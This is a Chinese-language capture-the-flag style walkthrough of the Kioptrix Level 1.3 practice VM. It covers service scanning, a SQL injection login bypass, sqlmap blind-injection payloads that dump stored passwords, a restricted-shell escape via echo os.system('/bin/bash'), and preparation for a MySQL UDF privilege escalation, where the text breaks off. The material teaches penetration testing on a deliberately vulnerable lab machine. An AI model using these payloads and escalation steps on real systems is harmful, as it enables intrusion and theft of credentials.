vulnhub靶机渗透[Kioptrix4]

介绍

名称:Kioptrix: Level 1.3 (#4)
发布日期:2012年2月8日

下载链接:
Kioptrix4_vmware.rar (Size: 208 MB)
Download: http://www.kioptrix.com/dlvm/Kioptrix4_vmware.rar
Download(Mirror): https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar
Download(Torrent): https://download.vulnhub.com/kioptrix/Kioptrix4_vmware.rar.torrent

虚拟机之间再次存在很长的延迟,但这无济于事。 工作,家庭必须是第一位的。 博客和兴趣爱好排在列表的下方。 这些事情并不像人们想象的那么容易。 必须为这些挑战投入时间和一些计划,以确保:

1.可以远程获得root权限[编辑:对不起,我的意思不是]

1a. 可以远程破坏机器

  • 1.停留在此网站的目标受众范围内
  • 2.必须是“现实的”(好吧……)
  • 3.应该为我复习。 无论是PHP还是MySQL用法等等。我已经有一段时间没做过了。

我也很难导出这个。 因此,请花时间阅读本文结尾处的评论。

秉承事物的精神,这一挑战与其他挑战有所不同,但仍处于轻松的境界。 我知道自己重复一遍,但必须始终清楚:这些VM是针对初学者的。 这是一个起点。

我很想编写一些小型的自定义应用程序,以供人们使用。 但我是管理员,不是编码员。 学习/编码这样的应用程序将花费太多时间。 并不是说我永远不会尝试做一个,但我不会屏住呼吸。 如果有人想要更艰巨的挑战,我敢肯定,Inter-tube会将他们抱在某个地方。 或者,您也可以随时注册Offsec的PWB课程。无耻的插头

– 我必须说几件事。 我使用新平台制作了这张图片。 希望一切正常,但我无法测试所有内容。 最初,VM在启动时很难获得IP。 由于某种原因,NIC无法启动,并且机器留有环回接口。 我希望我解决了这个问题。 如果这个启动需要一点时间,请不要感到惊讶。 它正在尝试获取IP。 有点耐心。 有人为我测试了映像,还报告说VM开机后就挂了。 重新启动后一切都很好。 只有一个人报告了此消息,因此希望这不是主要问题。 如果计划在vmFusion上运行它,则可能需要转换想象以适合您的融合版本。
– 还为使用Hyper-V的用户添加了VHD文件以供下载。 你们可能需要将网络适配器更改为“旧版网络适配器”。 我已经对该文件进行了测试,这个文件似乎对我来说还算不错…如果您遇到问题,或者由于某种原因它无法正常工作,请发送电子邮件comms [=]kioptrix.com

感谢www.n00bpentesting.com上的@shai_saint使用各种VM解决方案进行急需的测试。

感谢Hackfest.ca的Patrick也运行了VM并报告了一些问题。 Swappage和@Tallenz也这样做。 所有的帮助都是感激的家伙

所以我希望你喜欢这个。

Kioptrix团队

Note:只是一个虚拟硬盘。 您需要创建一个新的虚拟机并附加现有的硬盘驱动器.

运行服务:

  • Apache
  • MySQL
  • OpenSSH
  • PHP
  • Samba

漏洞知识点:

  • 文件包含
  • 操作系统命令注入
  • 权限提升
  • 特权不正确的服务
  • SQL注入

虚拟机与网络配置

点击vmware新建虚拟机,选择ubuntu,接下来的配置,除了下图配置与平常不同,其他步骤均与平常相同

.vmdk文件为压缩包中解压出的文件

将虚拟靶机和kali攻击机的vmware网络都配置成[自定义:特定虚拟网络的<VMnet8(NAT模式)>]即可。

信息收集(仅截取关键部分)

上nmap

1
nmap -sn -v 192.168.84.0/24
1
2
3
4
5
6
7
8
9
10
Nmap scan report for 192.168.84.136 [host down]
Nmap scan report for 192.168.84.137 [host down]
Nmap scan report for 192.168.84.138 [host down]
Nmap scan report for 192.168.84.139
Host is up (0.0010s latency).
MAC Address: 00:0C:29:F3:0E:E9 (VMware)
Nmap scan report for 192.168.84.140 [host down]
Nmap scan report for 192.168.84.141 [host down]
Nmap scan report for 192.168.84.142 [host down]
Nmap scan report for 192.168.84.143 [host down]
1
nmap -A -v -sS -Pn -T4 --script=vuln 192.168.84.139
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
Scanning 192.168.84.139 [1000 ports]
Discovered open port 139/tcp on 192.168.84.139
Discovered open port 80/tcp on 192.168.84.139
Discovered open port 22/tcp on 192.168.84.139
Discovered open port 445/tcp on 192.168.84.139
Completed SYN Stealth Scan at 20:57, 2.09s elapsed (1000 total ports)
Initiating Service scan at 20:57
Scanning 4 services on 192.168.84.139
Completed Service scan at 20:57, 11.02s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.84.139
NSE: Script scanning 192.168.84.139.
Initiating NSE at 20:57
Stats: 0:02:49 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE: Active NSE Script Threads: 3 (3 waiting)
NSE Timing: About 99.42% done; ETC: 20:59 (0:00:01 remaining)
Completed NSE at 21:02, 311.88s elapsed
Initiating NSE at 21:02
Completed NSE at 21:02, 0.12s elapsed
Nmap scan report for 192.168.84.139
Host is up (0.00036s latency).
Not shown: 566 closed ports, 430 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| vulners:
| cpe:/a:openbsd:openssh:4.7p1:
| CVE-2010-4478 7.5 https://vulners.com/cve/CVE-2010-4478
| CVE-2017-15906 5.0 https://vulners.com/cve/CVE-2017-15906
| CVE-2016-10708 5.0 https://vulners.com/cve/CVE-2016-10708
| CVE-2010-4755 4.0 https://vulners.com/cve/CVE-2010-4755
|_ CVE-2008-5161 2.6 https://vulners.com/cve/CVE-2008-5161
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.84.139
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.84.139:80/
| Form id: myusername
| Form action: checklogin.php
|
| Path: http://192.168.84.139:80/checklogin.php
| Form id:
| Form action: index.php
|
| Path: http://192.168.84.139:80/index.php
| Form id: myusername
|_ Form action: checklogin.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /database.sql: Possible database backup
| /icons/: Potentially interesting folder w/ directory listing
| /images/: Potentially interesting directory w/ listing on 'apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch'
|_ /index/: Potentially interesting folder
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-trace: TRACE is enabled
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners:
| cpe:/a:apache:http_server:2.2.8:
| CVE-2010-0425 10.0 https://vulners.com/cve/CVE-2010-0425
| CVE-2011-3192 7.8 https://vulners.com/cve/CVE-2011-3192
| CVE-2017-7679 7.5 https://vulners.com/cve/CVE-2017-7679
| CVE-2013-2249 7.5 https://vulners.com/cve/CVE-2013-2249
| CVE-2009-1891 7.1 https://vulners.com/cve/CVE-2009-1891
| CVE-2009-1890 7.1 https://vulners.com/cve/CVE-2009-1890
| CVE-2012-0883 6.9 https://vulners.com/cve/CVE-2012-0883
| CVE-2018-1312 6.8 https://vulners.com/cve/CVE-2018-1312
| CVE-2013-1862 5.1 https://vulners.com/cve/CVE-2013-1862
| CVE-2014-0231 5.0 https://vulners.com/cve/CVE-2014-0231
| CVE-2014-0098 5.0 https://vulners.com/cve/CVE-2014-0098
| CVE-2013-6438 5.0 https://vulners.com/cve/CVE-2013-6438
| CVE-2011-3368 5.0 https://vulners.com/cve/CVE-2011-3368
| CVE-2010-1452 5.0 https://vulners.com/cve/CVE-2010-1452
| CVE-2010-0408 5.0 https://vulners.com/cve/CVE-2010-0408
| CVE-2009-2699 5.0 https://vulners.com/cve/CVE-2009-2699
| CVE-2008-2364 5.0 https://vulners.com/cve/CVE-2008-2364
| CVE-2007-6750 5.0 https://vulners.com/cve/CVE-2007-6750
| CVE-2009-1195 4.9 https://vulners.com/cve/CVE-2009-1195
| CVE-2012-0031 4.6 https://vulners.com/cve/CVE-2012-0031
| CVE-2011-3607 4.4 https://vulners.com/cve/CVE-2011-3607
| CVE-2016-4975 4.3 https://vulners.com/cve/CVE-2016-4975
| CVE-2013-1896 4.3 https://vulners.com/cve/CVE-2013-1896
| CVE-2012-4558 4.3 https://vulners.com/cve/CVE-2012-4558
| CVE-2012-3499 4.3 https://vulners.com/cve/CVE-2012-3499
| CVE-2012-0053 4.3 https://vulners.com/cve/CVE-2012-0053
| CVE-2011-4317 4.3 https://vulners.com/cve/CVE-2011-4317
| CVE-2011-3639 4.3 https://vulners.com/cve/CVE-2011-3639
| CVE-2011-3348 4.3 https://vulners.com/cve/CVE-2011-3348
| CVE-2011-0419 4.3 https://vulners.com/cve/CVE-2011-0419
| CVE-2010-0434 4.3 https://vulners.com/cve/CVE-2010-0434
| CVE-2008-2939 4.3 https://vulners.com/cve/CVE-2008-2939
| CVE-2016-8612 3.3 https://vulners.com/cve/CVE-2016-8612
| CVE-2012-2687 2.6 https://vulners.com/cve/CVE-2012-2687
|_ CVE-2011-4415 1.2 https://vulners.com/cve/CVE-2011-4415
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:F3:0E:E9 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.009 days (since Mon Dec 9 20:49:38 2019)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

使用工具enum4linux得到如下信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@kali:~# enum4linux 192.168.84.139
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Dec 10 00:55:51 2019

==========================
| Target Information |
==========================
Target ........... 192.168.84.139
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


======================================================
| Enumerating Workgroup/Domain on 192.168.84.139 |
======================================================
[+] Got domain/workgroup name: WORKGROUP

==============================================
| Nbtstat Information for 192.168.84.139 |
==============================================
Looking up status of 192.168.84.139
KIOPTRIX4 <00> - B <ACTIVE> Workstation Service
KIOPTRIX4 <03> - B <ACTIVE> Messenger Service
KIOPTRIX4 <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name

MAC Address = 00-00-00-00-00-00

=======================================
| Session Check on 192.168.84.139 |
=======================================
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.

dirb扫目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@kali:~# dirb http://192.168.84.139/

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Dec 10 00:58:55 2019
URL_BASE: http://192.168.84.139/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.84.139/ ----
+ http://192.168.84.139/cgi-bin/ (CODE:403|SIZE:329)
==> DIRECTORY: http://192.168.84.139/images/
+ http://192.168.84.139/index (CODE:200|SIZE:1255)
+ http://192.168.84.139/index.php (CODE:200|SIZE:1255)
==> DIRECTORY: http://192.168.84.139/john/
+ http://192.168.84.139/logout (CODE:302|SIZE:0)
+ http://192.168.84.139/member (CODE:302|SIZE:220)
+ http://192.168.84.139/server-status (CODE:403|SIZE:334)

---- Entering directory: http://192.168.84.139/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.84.139/john/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Tue Dec 10 00:59:00 2019
DOWNLOADED: 4612 - FOUND: 6

wfuzz进行模糊测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
root@kali:~# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/big.txt --hc 404 http://192.168.84.139/FUZZ

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************

Target: http://192.168.84.139/FUZZ
Total requests: 3024

===================================================================
ID Response Lines Word Chars Payload
===================================================================

000000566: 403 10 L 33 W 329 Ch "cgi-bin/"
000001337: 301 9 L 31 W 356 Ch "images"
000001350: 200 45 L 94 W 1255 Ch "index"
000001458: 301 9 L 31 W 354 Ch "john"
000001629: 302 0 L 0 W 0 Ch "logout"
000001736: 302 1 L 22 W 220 Ch "member"
000002294: 301 9 L 31 W 356 Ch "robert"

Total time: 3.234193
Processed Requests: 3024
Filtered Requests: 3017
Requests/sec.: 935.0089

访问页面,发现登录口存在sql注入漏洞

  • 手工注入

用户名使用john,密码使用1’ or ‘1’=’1

得到两个密码

1
2
3
4
5
Username 	: 	john
Password : MyNameIsJohn

Username : robert
Password : ADGAdsafdfwt4gadfga==
  • 使用sqlmap

跑出注入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~# sqlmap -r sqlmap.txt
___
__H__
___ ___[.]_____ ___ ___ {1.3.11#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:21:00 /2019-12-10/

[01:21:00] [INFO] parsing HTTP request from 'sqlmap.txt'
[01:21:00] [INFO] resuming back-end DBMS 'mysql'
[01:21:00] [INFO] testing connection to the target URL
[01:21:00] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[01:21:00] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[01:21:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 01:21:00 /2019-12-10/

跑出账号密码,果真还是sqlmap屌炸天!!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
root@kali:~# sqlmap -r sqlmap.txt -D members -T members --dump
___
__H__
___ ___[)]_____ ___ ___ {1.3.11#stable}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:25:36 /2019-12-10/

[01:25:36] [INFO] parsing HTTP request from 'sqlmap.txt'
[01:25:36] [INFO] resuming back-end DBMS 'mysql'
[01:25:36] [INFO] testing connection to the target URL
[01:25:36] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: mypassword (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: myusername=admin&mypassword=-9812' OR 1343=1343#&Submit=Login

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: myusername=admin&mypassword=123456' AND (SELECT 6154 FROM (SELECT(SLEEP(5)))jArz)-- bHnL&Submit=Login
---
[01:25:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[01:25:36] [INFO] fetching columns for table 'members' in database 'members'
[01:25:36] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[01:25:36] [INFO] retrieved:
sqlmap got a 302 redirect to 'http://192.168.84.139:80/login_success.php?username=admin'. Do you want to follow? [Y/n] n
3
[01:25:38] [INFO] retrieved: id
[01:25:38] [INFO] retrieved: username
[01:25:39] [INFO] retrieved: password
[01:25:39] [INFO] fetching entries for table 'members' in database 'members'
[01:25:39] [INFO] fetching number of entries for table 'members' in database 'members'
[01:25:39] [INFO] retrieved: 2
[01:25:39] [INFO] retrieved: 1
[01:25:39] [INFO] retrieved: MyNameIsJohn
[01:25:40] [INFO] retrieved: john
[01:25:40] [INFO] retrieved: 2
[01:25:40] [INFO] retrieved: ADGAdsafdfwt4gadfga==
[01:25:42] [INFO] retrieved: robert
Database: members
Table: members
[2 entries]
+----+-----------------------+----------+
| id | password | username |
+----+-----------------------+----------+
| 1 | MyNameIsJohn | john |
| 2 | ADGAdsafdfwt4gadfga== | robert |
+----+-----------------------+----------+

[01:25:42] [INFO] table 'members.members' dumped to CSV file '/root/.sqlmap/output/192.168.84.139/dump/members/members.csv'
[01:25:42] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.84.139'

[*] ending @ 01:25:42 /2019-12-10/

获取root权限

ssh连接之后发现许多命令无法执行,但是可以执行echo命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~# ssh john@192.168.84.139
The authenticity of host '192.168.84.139 (192.168.84.139)' can't be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.84.139' (RSA) to the list of known hosts.
john@192.168.84.139's password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don't screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ls
john:~$ pwd
*** unknown command: pwd
john:~$ whoami
*** unknown command: whoami
john:~$echo 'casdcasdc'
casdcasdc

通过使用命令echo os.system(‘/bin/bash’)轻松地“转义”并绕过有限制的shell。

1
2
3
4
5
6
7
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ ls
john@Kioptrix4:~$ pwd
/home/john
john@Kioptrix4:~$ whoami
john
john@Kioptrix4:~$

使用命令行收集信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
john@Kioptrix4:~$ cat /etc/*-release 
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04.3 LTS"
john@Kioptrix4:~$ cat /proc/version
Linux version 2.6.24-24-server (buildd@palmer) (gcc version 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) #1 SMP Tue Jul 7 20:21:17 UTC 2009
john@Kioptrix4:~$ ps -ef | grep root
root 1 0 0 04:44 ? 00:00:01 /sbin/init
root 2 0 0 04:44 ? 00:00:00 [kthreadd]
root 3 2 0 04:44 ? 00:00:00 [migration/0]
root 4 2 0 04:44 ? 00:00:00 [ksoftirqd/0]
root 5 2 0 04:44 ? 00:00:00 [watchdog/0]
root 6 2 0 04:44 ? 00:00:00 [migration/1]
root 7 2 0 04:44 ? 00:00:00 [ksoftirqd/1]
root 8 2 0 04:44 ? 00:00:00 [watchdog/1]
root 9 2 0 04:44 ? 00:00:00 [migration/2]
root 10 2 0 04:44 ? 00:00:00 [ksoftirqd/2]
root 11 2 0 04:44 ? 00:00:00 [watchdog/2]
root 12 2 0 04:44 ? 00:00:00 [migration/3]
root 13 2 0 04:44 ? 00:00:00 [ksoftirqd/3]
root 14 2 0 04:44 ? 00:00:00 [watchdog/3]
root 15 2 0 04:44 ? 00:00:00 [events/0]
root 16 2 0 04:44 ? 00:00:00 [events/1]
root 17 2 0 04:44 ? 00:00:00 [events/2]
root 18 2 0 04:44 ? 00:00:00 [events/3]
root 19 2 0 04:44 ? 00:00:00 [khelper]
root 56 2 0 04:44 ? 00:00:00 [kblockd/0]
root 57 2 0 04:44 ? 00:00:00 [kblockd/1]
root 58 2 0 04:44 ? 00:00:00 [kblockd/2]
root 59 2 0 04:44 ? 00:00:00 [kblockd/3]
root 62 2 0 04:44 ? 00:00:00 [kacpid]
root 63 2 0 04:44 ? 00:00:00 [kacpi_notify]
root 193 2 0 04:44 ? 00:00:00 [kseriod]
root 247 2 0 04:44 ? 00:00:00 [pdflush]
root 248 2 0 04:44 ? 00:00:00 [pdflush]
root 249 2 0 04:44 ? 00:00:00 [kswapd0]
root 291 2 0 04:44 ? 00:00:00 [aio/0]
root 292 2 0 04:44 ? 00:00:00 [aio/1]
root 293 2 0 04:44 ? 00:00:00 [aio/2]
root 294 2 0 04:44 ? 00:00:00 [aio/3]
root 1627 2 0 04:44 ? 00:00:00 [ata/0]
root 1629 2 0 04:44 ? 00:00:00 [ata/1]
root 1630 2 0 04:44 ? 00:00:00 [ata/2]
root 1631 2 0 04:44 ? 00:00:00 [ata/3]
root 1632 2 0 04:44 ? 00:00:00 [ata_aux]
root 1800 2 0 04:44 ? 00:00:00 [ksuspend_usbd]
root 1806 2 0 04:44 ? 00:00:00 [khubd]
root 2474 2 0 04:44 ? 00:00:00 [scsi_eh_0]
root 2486 2 0 04:44 ? 00:00:00 [scsi_eh_1]
root 2489 2 0 04:44 ? 00:00:00 [scsi_eh_2]
root 2579 2 0 04:44 ? 00:00:00 [scsi_eh_3]
root 2580 2 0 04:44 ? 00:00:00 [scsi_eh_4]
root 2581 2 0 04:44 ? 00:00:00 [scsi_eh_5]
root 2582 2 0 04:44 ? 00:00:00 [scsi_eh_6]
root 2583 2 0 04:44 ? 00:00:00 [scsi_eh_7]
root 2584 2 0 04:44 ? 00:00:00 [scsi_eh_8]
root 2585 2 0 04:44 ? 00:00:00 [scsi_eh_9]
root 2586 2 0 04:44 ? 00:00:00 [scsi_eh_10]
root 2587 2 0 04:44 ? 00:00:00 [scsi_eh_11]
root 2588 2 0 04:44 ? 00:00:00 [scsi_eh_12]
root 2589 2 0 04:44 ? 00:00:00 [scsi_eh_13]
root 2590 2 0 04:44 ? 00:00:00 [scsi_eh_14]
root 2591 2 0 04:44 ? 00:00:00 [scsi_eh_15]
root 2592 2 0 04:44 ? 00:00:00 [scsi_eh_16]
root 2593 2 0 04:44 ? 00:00:00 [scsi_eh_17]
root 2594 2 0 04:44 ? 00:00:00 [scsi_eh_18]
root 2595 2 0 04:44 ? 00:00:00 [scsi_eh_19]
root 2596 2 0 04:44 ? 00:00:00 [scsi_eh_20]
root 2597 2 0 04:44 ? 00:00:00 [scsi_eh_21]
root 2598 2 0 04:44 ? 00:00:00 [scsi_eh_22]
root 2599 2 0 04:44 ? 00:00:00 [scsi_eh_23]
root 2600 2 0 04:44 ? 00:00:00 [scsi_eh_24]
root 2601 2 0 04:44 ? 00:00:00 [scsi_eh_25]
root 2602 2 0 04:44 ? 00:00:00 [scsi_eh_26]
root 2603 2 0 04:44 ? 00:00:00 [scsi_eh_27]
root 2604 2 0 04:44 ? 00:00:00 [scsi_eh_28]
root 2605 2 0 04:44 ? 00:00:00 [scsi_eh_29]
root 2606 2 0 04:44 ? 00:00:00 [scsi_eh_30]
root 2607 2 0 04:44 ? 00:00:00 [scsi_eh_31]
root 2608 2 0 04:44 ? 00:00:00 [scsi_eh_32]
root 2849 2 0 04:44 ? 00:00:00 [kjournald]
root 3028 1 0 04:45 ? 00:00:00 /sbin/udevd --daemon
root 3701 2 0 04:45 ? 00:00:00 [kpsmoused]
root 3800 2 0 04:45 ? 00:00:00 [btaddconn]
root 3801 2 0 04:45 ? 00:00:00 [btdelconn]
root 4838 1 0 04:45 tty4 00:00:00 /sbin/getty 38400 tty4
root 4839 1 0 04:45 tty5 00:00:00 /sbin/getty 38400 tty5
root 4841 1 0 04:45 tty2 00:00:00 /sbin/getty 38400 tty2
root 4842 1 0 04:45 tty3 00:00:00 /sbin/getty 38400 tty3
root 4845 1 0 04:45 tty6 00:00:00 /sbin/getty 38400 tty6
root 4906 1 0 04:45 ? 00:00:00 /bin/dd bs 1 if /proc/kmsg of /var/run/klogd/kmsg
root 4927 1 0 04:45 ? 00:00:00 /usr/sbin/sshd
root 4983 1 0 04:45 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 5025 4983 0 04:45 ? 00:00:04 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/my
root 5026 4983 0 04:45 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 5120 1 0 04:45 ? 00:00:00 /usr/sbin/nmbd -D
root 5122 1 0 04:45 ? 00:00:00 /usr/sbin/smbd -D
root 5136 5122 0 04:45 ? 00:00:00 /usr/sbin/smbd -D
root 5137 1 0 04:45 ? 00:00:00 /usr/sbin/winbindd
root 5149 5137 0 04:45 ? 00:00:00 /usr/sbin/winbindd
root 5169 1 0 04:45 ? 00:00:00 /usr/sbin/cron
root 5191 1 0 04:45 ? 00:00:00 /usr/sbin/apache2 -k start
root 5247 1 0 04:45 tty1 00:00:00 /sbin/getty 38400 tty1
root 5277 5137 0 04:57 ? 00:00:00 /usr/sbin/winbindd
root 5280 5137 0 04:57 ? 00:00:00 /usr/sbin/winbindd
root 5880 4927 0 09:23 ? 00:00:00 sshd: john [priv]
john 5928 5897 0 09:35 pts/0 00:00:00 grep root

可以看到MySQL以root权限运行。 由于具有对计算机的ssh访问权限,因此可以通过访问配置文件来查看是否能找到数据库凭据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

john@Kioptrix4:/var/www$ ls
checklogin.php index.php logout.php tmpbbmjx.php tmpbtzfy.php tmpuijdt.php
database.sql john member.php tmpbdorc.php tmpubjrn.php tmpureio.php
images login_success.php robert tmpbstyp.php tmpuepxr.php tmpuyhae.php

john@Kioptrix4:/var/www$ cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);

//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername");
session_register("mypassword");
header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}

ob_end_flush();
?>

不需要密码即可访问数据库。 由于我们MySQL的root访问权限,因此可以使用用户定义的函数执行命令(在操作系统本身上)。 因为可以以root用户身份访问MySQL服务器,所以我们将使用用户定义函数将特权升级为root用户。 为了执行这些命令,我们需要确保lib_mysqludf_sys.so在服务器上。 使用whereis命令,我发现它已经安装在服务器上。

1
2
john@Kioptrix4:/var/www$ whereis lib_mysqludf_sys.so
lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
